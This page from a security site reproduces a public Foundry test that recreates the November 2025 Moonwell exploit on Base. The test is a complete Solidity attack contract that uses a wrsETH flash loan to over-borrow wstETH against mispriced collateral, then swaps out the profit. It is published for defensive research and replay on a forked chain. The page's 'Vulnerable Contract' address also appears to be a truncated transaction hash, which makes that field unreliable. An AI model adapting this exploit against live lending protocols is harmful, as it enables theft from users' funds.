Skip to content
THREATWIRE

Public reproduction file

src/test/2025-11/Moonwell_exp.sol

Public reproduction file for dataset entry Moonwell.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-11/Moonwell_exp.sol264 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4
5import "forge-std/Test.sol";
6import "../interface.sol";
7
8// @KeyInfo - Total Lost : 1M USD
9// Attacker : https://basescan.org/address/0x6997a8c804642ae2de16d7b8ff09565a5d5658ff
10// Attack Contract : https://basescan.org/address/0x42ecd332d47c91cbc83b39bd7f53cebe5e9734bb
11// Vulnerable Contract :
12// Attack Tx : https://app.blocksec.com/explorer/tx/base/0x190a491c0ef095d5447d6d813dc8e2ec11a5710e189771c24527393a2beb05ac
14// @Info
15// Vulnerable Contract Code :
17// @Analysis
18// https://x.com/CertiKAlert/status/1985620452992253973
19// https://finance.yahoo.com/news/moonwell-hack-1m-lost-chainlink-123012371.html
20// https://www.halborn.com/blog/post/explained-the-moonwell-hack-november-2025
22interface ICLFlashCallback {
23 function uniswapV3FlashCallback(
24 uint256 fee0,
25 uint256 fee1,
26 bytes calldata data
27 ) external;
30interface ICLSwapCallback {
31 function uniswapV3SwapCallback(
32 int256 amount0Delta,
33 int256 amount1Delta,
34 bytes calldata data
35 ) external;
38interface ICLPool is ICLFlashCallback, ICLSwapCallback {
39 function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
41 function swap(
42 address recipient,
43 bool zeroForOne,
44 int256 amountSpecified,
45 uint160 sqrtPriceLimitX96,
46 bytes calldata data
47 ) external returns (int256 amount0, int256 amount1);
49 function token0() external view returns (address);
50 function token1() external view returns (address);
52 function slot0()
53 external
54 view
55 returns (
56 uint160 sqrtPriceX96,
57 int24 tick,
58 uint16 observationIndex,
59 uint16 observationCardinality,
60 uint16 observationCardinalityNext,
61 bool unlocked
62 );
65interface IComptroller {
66 function enterMarkets(address[] calldata cTokens) external returns (uint256[] memory);
69interface ICErc20 {
70 function mint(uint256 mintAmount) external returns (uint256);
71 function borrow(uint256 borrowAmount) external returns (uint256);
74contract ContractTest is Test {
75 // Pools
76 address constant CLPOOL_WSTETH_WRSETH = 0x14dcCDd311Ab827c42CCA448ba87B1ac1039e2A4;
77 address constant CLPOOL_WSTETH_WETH = 0x861A2922bE165a5Bd41b1E482B49216b465e1B5F;
78 address constant V3POOL_WRSETH_WETH = 0x16e25fAcBA67a40dA3436ab9E2E00C30daB0dD97;
80 // Tokens
81 address constant WRSETH = 0xEDfa23602D0EC14714057867A78d01e94176BEA0; // rsETHWrapper (wrsETH) on Base
82 address constant MW_RSETH = 0xfC41B49d064Ac646015b459C522820DB9472F4B5; // Moonwell mwrsETH cToken
83 address constant MW_STETH = 0x627Fe393Bc6EdDA28e99AE648fD6fF362514304b;
84 address constant WSTETH = 0xc1CBa3fCea344f92D9239c08C0568f6F2F0ee452; // wstETH on Base
85 address constant WETH = 0x4200000000000000000000000000000000000006; // canonical WETH on Base
87 // Moonwell Comptroller (Unitroller)
88 address constant COMPTROLLER = 0xfBb21d0380beE3312B33c4353c8936a0F13EF26C;
90 uint256 constant BLOCK = 37722882 - 1;
92 AttackContract attacker;
94 function setUp() public {
95 vm.createSelectFork("base", BLOCK);
96 vm.label(V3POOL_WRSETH_WETH, "UniswapV3Pool");
97 vm.label(WRSETH, "wrsETH");
98 vm.label(MW_RSETH, "mwrsETH");
99 vm.label(MW_STETH, "mwstETH");
100 vm.label(WSTETH, "0xc1cb_wstETH");
101 vm.label(WETH, "WETH");
103 attacker = new AttackContract(
104 CLPOOL_WSTETH_WRSETH,
105 CLPOOL_WSTETH_WETH,
106 V3POOL_WRSETH_WETH,
107 WRSETH,
108 MW_RSETH,
109 MW_STETH,
110 COMPTROLLER,
111 WSTETH,
112 WETH
113 );
115 vm.label(address(attacker), "Receiver");
116 }
118 function testExploit() public {
119 uint256 wethBefore = IERC20(WETH).balanceOf(address(attacker));
121 attacker.attack();
123 uint256 wethAfter = IERC20(WETH).balanceOf(address(attacker));
124 emit log_named_uint("WETH profit", wethAfter - wethBefore);
126 assertGt(wethAfter, wethBefore);
127 }
130contract AttackContract is Test, ICLFlashCallback, ICLSwapCallback {
131 uint256 internal constant FLASH_AMOUNT = 20_782_357_954_960;
132 uint256 internal constant BORROW_AMOUNT = 20_592_096_934_942_276_800;
133 uint160 internal constant MIN_SQRT_RATIO = 4295128739;
134 uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
136 ICLPool public clPoolWstEthWrsEth;
137 ICLPool public clPoolWstEthWeth;
138 ICLPool public v3PoolWrsEthWeth;
140 IERC20 public wrsEth;
141 ICErc20 public mwrsEth;
142 ICErc20 public mwstEth;
144 IComptroller public comptroller;
146 IERC20 public wstEth;
147 IERC20 public weth;
149 constructor(
150 address _clpoolWstEthWrsEth,
151 address _clpoolWstEthWeth,
152 address _v3poolWrsEthWeth,
153 address _wrsEth,
154 address _mwrsEth,
155 address _mwstEth,
156 address _comptroller,
157 address _wstEth,
158 address _weth
159 ) {
160 clPoolWstEthWrsEth = ICLPool(_clpoolWstEthWrsEth);
161 clPoolWstEthWeth = ICLPool(_clpoolWstEthWeth);
162 v3PoolWrsEthWeth = ICLPool(_v3poolWrsEthWeth);
164 wrsEth = IERC20(_wrsEth);
165 mwrsEth = ICErc20(_mwrsEth);
166 mwstEth = ICErc20(_mwstEth);
167 comptroller = IComptroller(_comptroller);
168 wstEth = IERC20(_wstEth);
169 weth = IERC20(_weth);
170 }
172 function attack() public {
173 // take wrsETH flash loan from wstETH/wrsETH pool
174 clPoolWstEthWrsEth.flash(
175 address(this),
176 0, // amount0 (wstETH)
177 FLASH_AMOUNT, // amount1 (wrsETH)
178 bytes("")
179 );
181 // swap remaining wrsETH to WETH to realize profit
182 uint256 wrsEthBalance = wrsEth.balanceOf(address(this));
183 v3PoolWrsEthWeth.swap(
184 address(this),
185 false,
186 int256(wrsEthBalance),
187 MAX_SQRT_RATIO - 1,
188 bytes("")
189 );
191 uint256 wethBalance = weth.balanceOf(address(this));
192 }
194 function uniswapV3FlashCallback(
195 uint256,
196 uint256 fee1,
197 bytes calldata
198 ) external override {
199 require(msg.sender == address(clPoolWstEthWrsEth), "invalid flash caller");
201 uint256 flashAmount = wrsEth.balanceOf(address(this));
202 wrsEth.approve(address(mwrsEth), flashAmount);
203 mwrsEth.mint(flashAmount);
205 address[] memory markets = new address[](1);
206 markets[0] = address(mwrsEth);
207 comptroller.enterMarkets(markets);
209 // over-borrow wstETH using the mispriced wrsETH collateral
210 mwstEth.borrow(BORROW_AMOUNT);
212 // swap borrowed wstETH -> WETH on wstETH/WETH pool
213 uint256 wstBalance = wstEth.balanceOf(address(this));
214 clPoolWstEthWeth.swap(
215 address(this),
216 false,
217 int256(wstBalance),
218 MAX_SQRT_RATIO - 1,
219 bytes("")
220 );
222 // swap WETH -> wrsETH on wrsETH/WETH UniswapV3 pool to get wrsETH to repay flash loan
223 uint256 wethBalance = weth.balanceOf(address(this));
224 v3PoolWrsEthWeth.swap(
225 address(this),
226 true,
227 int256(wethBalance),
228 MIN_SQRT_RATIO + 1,
229 bytes("")
230 );
232 // repay wrsETH flash loan + fee1 back to wstETH/wrsETH pool
233 uint256 repayAmount = flashAmount + fee1;
234 wrsEth.transfer(address(clPoolWstEthWrsEth), repayAmount);
235 }
237 function uniswapV3SwapCallback(
238 int256 amount0Delta,
239 int256 amount1Delta,
240 bytes calldata
241 ) external override {
242 address token0;
243 address token1;
245 if (msg.sender == address(clPoolWstEthWeth)) {
246 token0 = clPoolWstEthWeth.token0();
247 token1 = clPoolWstEthWeth.token1();
248 } else if (msg.sender == address(v3PoolWrsEthWeth)) {
249 token0 = v3PoolWrsEthWeth.token0();
250 token1 = v3PoolWrsEthWeth.token1();
251 } else {
252 revert("invalid swap caller");
253 }
255 if (amount0Delta > 0) {
256 IERC20(token0).transfer(msg.sender, uint256(amount0Delta));
257 }
258 if (amount1Delta > 0) {
259 IERC20(token1).transfer(msg.sender, uint256(amount1Delta));
260 }
261 }

Analysis

Dataset entry

Public Foundry test for “Moonwell” (2025-11-04). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

4 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x6997a8c804642ae2de16d7b8ff09565a5d5658ff

  • Attack Contract

    0x42ecd332d47c91cbc83b39bd7f53cebe5e9734bb

  • Vulnerable Contract

    0x190a491c0ef095d5447d6d813dc8e2ec11a5710e

  • Attack Tx

    0x190a491c0ef095d5447d6d813dc8e2ec11a5710e189771c24527393a2beb05ac

File record

Name
Moonwell
Path
src/test/2025-11/Moonwell_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
51e34c0eb9ce2119ae82f61c85f03e0bf0134698
Language
Solidity
Size
265 lines
Date
2025-11-04
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-11/Moonwell_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 51e34c0eb9ce2119ae82f61c85f03e0bf0134698, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.